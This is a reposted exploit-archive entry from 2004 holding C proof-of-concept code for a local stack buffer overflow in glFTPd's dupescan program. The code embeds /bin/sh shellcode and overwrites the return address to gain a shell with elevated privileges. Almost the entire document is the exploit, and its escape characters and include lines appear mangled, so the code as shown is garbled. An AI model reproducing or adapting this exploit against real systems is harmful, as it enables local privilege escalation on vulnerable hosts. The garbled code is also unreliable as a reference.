https://www.exploit-db.com/exploits/476

漏洞细节尚未披露

/* glFTPd local stack buffer overflow exploit 
(Proof of Concept) 

Tested in Slackware 9.0 / 9.1 / 10.0 

by CoKi 
No System Group - http://www.nosystem.com.ar 
*/ 

#include <'stdio.h> 
#include <'strings.h> 
#include <'unistd.h> 

#define BUFFER 288 + 1 
#define PATH "/glftpd/bin/dupescan" 

char shellcode[]= 
"xb0x31xcdx80x89xc3x31xc0xb0x17xcdx80" 
"x31xdbx31xc0xb0x17xcdx80" 
"xebx1fx5ex89x76x08x31xc0x89x46x0cx88x46x07" 
"xb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb" 
"x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh"; 

int main(void) { 

char *env[3] = {shellcode, NULL}; 
char buf[BUFFER], *path; 
int *buffer = (int *) (buf); 
int i; 
int ret = 0xbffffffa - strlen(shellcode) - strlen(PATH); 

for(i=0; i<=BUFFER; i+=4) 
*buffer++ = ret; 

printf(" glFTPd local stack buffer overflow (Proof of Concept) "); 
printf(" by CoKi "); 

execle(PATH, "dupescan", buf, NULL, env); 
} 


// milw0rm.com [2004-09-23]